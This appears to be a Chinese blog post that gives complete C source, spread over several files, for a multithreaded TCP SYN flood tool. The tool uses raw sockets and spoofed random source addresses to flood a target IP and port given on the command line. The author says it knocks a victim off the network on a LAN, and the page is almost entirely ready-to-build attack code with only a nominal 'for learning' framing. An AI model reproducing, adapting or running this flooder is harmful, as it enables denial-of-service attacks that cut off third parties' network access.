TCP洪水攻击
下面的程序是根据网友 ssffz1 改编的 ,修改后得效果不是很好,但作为学习还是可以说得过去,请支持原创
http://bbs.chinaunix.net/thread-2145439-1-1.html
改写的源代码 http://www.kuaipan.cn/file/id_51649056203605134.htm
原始的源代码 http://www.kuaipan.cn/file/id_51649056203605135.htm
程序在局域网内的效果还是挺好的,主要还是占用对方的带宽,使对方上不了网,cpu资源占用率得话,自己测试一下就知道了※
tcp 的三次握手原理
main.c
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <time.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <arpa/inet.h>
- #include <signal.h>
- #include <pthread.h>
- #include"ip_port_rand.c"
- #include"sigFunction.c"
- #include"pth_attack.c"
- #include"checkSum.c"
- #include"initpool.c"
- #include"in_head.c"
- int s ;
- int quit_id =0 ;
- char *head[POOL_MAX] ; // header pool size , ip header+ tcp header
- struct sockaddr_in toaddr ; //原始套接口地址
- int toaddr_len = sizeof(struct sockaddr_in) ; // 原始套接地址的大小
- int buf_len = sizeof(struct iphdr) + sizeof(struct tcphdr) ;// 缓冲池得大小== ip头部大小+tcp头部
- int main( int argc ,char ** argv)
- {
- //线程池缓冲区
- pthread_t pth[PTH_MAX] ;
- pthread_attr_t attr ;
- int i = 0 ,ret , fool =1 ,opt ;
- void * pth_message ; // 传递给线程得信息参数
- signal(SIGINT ,sig_process) ; //信号捕获函数 ctrl + c
- bzero(&toaddr,toaddr_len) ; //虽然下面有处理各个字段,但最好还是清空先
- toaddr.sin_family = AF_INET ; //IPV4
- toaddr.sin_addr.s_addr =0 ;
- toaddr.sin_port = 0 ;
- ///
- int ip_addr ; /*attaced ip address */
- int _port ; /*attacked port */
- if( argc != 3 ) //参数判定
- {
- fprintf(stderr,"usage:%s ip or port\n",argv[0]);
- return -1 ;
- }
- //ip and port 判定
- if( (ip_addr = inet_addr(argv[1])) == INADDR_NONE || ( _port = atoi(argv[2])) ==0 )
- {
- fprintf(stderr,"ip format is error\n",argv[1]);
- return -1 ;
- }
- else
- {
- //绑定被攻击的IP 和端口
- toaddr.sin_addr.s_addr = ip_addr ;
- toaddr.sin_port =htons(_port) ;
- }
- //随机 伪装 IP 和 端口
- initRand();
- //第三个参数表明要接收的协议包 ,我们设为TCP协议的包
- // pthread_attr_init(&attr) ;
- // pthread_attr_setdetachstate(&attr,PTHREAD_CREATE_DETACHED);
- if( (s = socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0 )
- {
- perror("Socket:");
- exit(1);
- }
- /*IP_HDRINCL : IP头部随数据包含*/
- /*j */
- if(( setsockopt(s,0,IP_HDRINCL , (void *)&fool,sizeof(fool)))<0)
- {
- perror("setsockopt");
- exit(-1);
- }
- else{
- printf("setsockopt ok\n");
- }
- initPool(head,&toaddr) ;
- // 1024 pthread to attack the computer
- /*
- 进行线程脱离试一试 会不会快点
- */
- while(i<PTH_MAX)
- {
- ret =pthread_create(&pth[i],NULL,attackPth,NULL);
- if(ret!=0)
- {
- perror("pthread_create");
- return -1;
- }
- i++;
- }
- // 处理线程的返回信息
- for(i=0;i<PTH_MAX;i++){
- //等待线程得返回
- ret = pthread_join(pth[i],&pth_message);
- if(ret !=0){
- perror("pthread_join Error\n");
- exit(1);
- }
- printf("pthread join %d is %s !\n",i,(char *)pth_message);
- }
- sleep(1);
- pool_clean(head);
- close(s);
- return 0 ;
- }
initpool.c
- #include<stdio.h>
- #include<stdlib.h>
- #include<linux/types.h>
- #include<error.h>
- #include<unistd.h>
- #include<netinet/in.h>
- #include<netinet/ip.h>
- #include<netinet/tcp.h>
- #include<arpa/inet.h>
- #include<stdint.h>
- #include"awl_checksum.c"
- extern int quit_id ;
- int initPool(char *head[] , struct sockaddr_in *to)
- {
- printf("initPool\n");
- int i =0 ;
- struct iphdr *iph ; // ip header
- struct tcphdr *tcph; // tcp header
- int iph_len = sizeof(struct iphdr) ;
- int tcph_len = sizeof ( struct tcphdr) ;
- int buff_check[512];
- int buf_len = iph_len + tcph_len ; // 数据包得总长度
- printf("buf_len:%d",buf_len);
- while( i<POOL_MAX)
- {
- //head 的大小位ip头部 和 tcp 头部
- head[i] =(char *) malloc( buf_len) ;
- if(head[i]==NULL)
- {
- printf("test program run location\n");
- perror("usage:");
- return -1;
- }
- iph =(struct iphdr*)head[i];
- tcph=(struct tcphdr *)(head[i]+iph_len) ;
- /*iph = (struct iphdr * )malloc(sizeof (struct iphdr));
- tcph =(struct tcphdr *)malloc(sizeof( struct tcphdr));
- */
- //ip 头部封装
- iph->ihl = 5 ; // ip header length 4*5 = 20 B
- iph->version = 4 ; // ipv4
- iph->tos = 0 ; // tos server
- iph->tot_len = htons(iph_len+tcph_len ); //ip总长度 20+20 = 40 B
- iph->id =htons(getRand16()); // \
- iph->frag_off =0 ;
- iph->ttl=getRand8();
- iph->protocol = IPPROTO_TCP ;//Tcp protol
- iph->check = 0 ; // 奇偶验证 , ??? 这里没有对手动对iph进行奇偶检验 , 不知道为什么,但是最后抓包时且发现已经校验了?????
- // 如果手动进行校验
- //iph->check= calc_chsum( (unsigned short *)iph,sizeof(struct iphdr));
- //抓包时发现iph->check 没有错 ,但是tcp->check就出问题了,本人菜鸟,哪位老兄知道的请给我留言,O(∩_∩)O谢谢
- iph->saddr= getRand32() ; // source ip
- printf("iph->saddr :%d\n",iph->saddr );
- iph->daddr=(to->sin_addr).s_addr ; // destintion ip , atttacked
- //tcp头部封装
- tcph->source = getRand16 () ; // source port
- tcph->dest = to->sin_port;// destintion port
- tcph->seq = htonl(getRand32());
- tcph->ack_seq = 0 ;
- tcph->doff = sizeof(struct tcphdr) /4 ; // 首部长度得大小
- tcph->res1 =0 ; // 3 bit 保留位置空
- tcph->fin = 0; //
- tcph->syn = 1; // 同步序列号
- tcph->rst = 0; //重置位
- tcph->psh = 0; //
- tcph->ack = 0; //ack 位
- tcph->urg = 0;// 紧急指针无效
- ???
- tcph->res2 = 0; // 3bit 保留位
- ///???
- tcph->window = htons(getRand16()) ; //
- tcph->check =0 ;
- tcph->urg_ptr =0 ;
- // tcph->check = _tcp_checksum(iph->saddr,iph->daddr,(unsigned short *)tcph,tcph_len) ;
- tcph->check = tcp_checksum(iph->saddr, iph->daddr ,(unsigned short *)tcph,tcph_len) ;
- //add tcp header into head[i](at struct iphdr)
- i++;
- }
- return 0;
- }
- //释放空间
- int pool_clean(char *head[])
- {
- int i =0 ;
- while(i<POOL_MAX)
- {
- free(head[i]);
- i++;
- }
- }
ip_port_rand.c
- #include<time.h>
- #include<sys/types.h>
- void initRand()
- {
- srand(time(0));
- printf("Star srand ok\n");
- }
- // 8 bit rand number
- u_int8_t getRand8(void)
- {
- return ( rand()%256) ;
- }
- // 16 bit rand number
- u_int16_t getRand16(void)
- {
- return (rand()%65535) ;
- }
- u_int32_t getRand32 (void)
- {
- return(rand()) ;
- }
- u_int32_t getN(u_int32_t n)
- {
- return (rand()%n);
- }
pth_attack.c
- #include"in_head.c"
- extern int s ;
- extern char *head[] ;
- extern struct sockaddr_in toaddr ;
- extern int toaddr_len ;
- extern int buf_len ;
- extern int quit_id ;
- void *attackPth(void *message){
- int i ;
- while(1)
- {
- //随机一个 header package , 1~1024
- i = getN(POOL_MAX);
- if( (sendto(s,head[i],buf_len,0,(struct sockaddr *)&toaddr,toaddr_len))<0)
- {
- perror("Sendto");
- pthread_exit("failed");
- }
- if(quit_id ==1 )
- {
- goto over ;
- }
- }
- over :
- pthread_exit("success");
- }
awl_checksum.c
- #include <string.h>
- #include <stdlib.h>
- #include <netinet/in.h>
- #include <netinet/tcp.h>
- #include <linux/types.h>
- struct tcp_fake_header {
- __u32 saddr;
- __u32 daddr;
- __u8 mbz;
- __u8 proto;
- __u16 header_len ;
- };
- static unsigned short inline checksum(unsigned short *buffer,int size){
- unsigned long cksum = 0;
- while(size>1){
- cksum += *buffer++;
- size -= sizeof(unsigned short);
- }
- if(size){
- cksum += *(unsigned char *)buffer;
- }
- cksum = (cksum >> 16) + (cksum & 0xffff);
- cksum += (cksum >> 16);
- return((unsigned short )(~cksum));
- }
- /***
- parameters:
- saddr : 源IP
- daddr:目标地址
- buffer : (unsigned short *)tcph
- size :tcph_len
- */
- unsigned int inline tcp_checksum(unsigned long saddr,unsigned long daddr,unsigned short *buffer,int size)
- {
- unsigned long sum = 0;
- /*临时 buf 缓冲区 ,主要存储 伪tcp 和 tcp*/
- char *buf;
- /*伪tcp头部*/
- struct tcp_fake_header *tfh;
- /*伪tcp首部长度*/
- int tfh_len = sizeof(struct tcp_fake_header);
- /*buf大小 = ip headlen + tcp headlen*/
- buf = (char *)malloc(tfh_len+size);
- tfh = (struct tcp_fake_header *)buf;
- memcpy(buf+tfh_len,buffer,size);
- tfh->saddr = saddr;
- tfh->daddr = daddr;
- tfh->mbz = 0;
- tfh->proto = IPPROTO_TCP;
- /*为什么是真tcp header 的长度 ,胃不是伪头部的尼 ??*/
- tfh->header_len = htons(sizeof(struct tcphdr));
- sum = checksum((unsigned short*)buf,tfh_len+size);
- free(buf);
- return(sum);
- }
- unsigned int inline ip_checksum(unsigned short *buffer,int size){
- return(checksum(buffer,size));
- }
in_head.c
- /*随机 ip + tcp 头 数目*/
- #define POOL_MAX 65536
- /*线程数*/
- #define PTH_MAX 88
checkSum.c
- #include<stdio.h>
- int calc_chsum(unsigned short *addr,int len)
- {
- int sum = 0,n = len;
- unsigned short answer = 0;
- unsigned short *p = addr;
- //每两个字节相加
- while(n > 1)
- {
- sum += *p ++;
- n -= 2;
- }
- //处理数据大小是奇数,在最后一个字节后面补0
- if(n == 1)
- {
- *((unsigned char *)&answer) = *(unsigned char *)p;
- sum += answer;
- }
- //将得到的sum值的高2字节和低2字节相加
- sum = (sum >> 16) + (sum & 0xffff);
- //处理溢出的情况
- sum += sum >> 16;
- answer = ~sum;
- return answer;
- }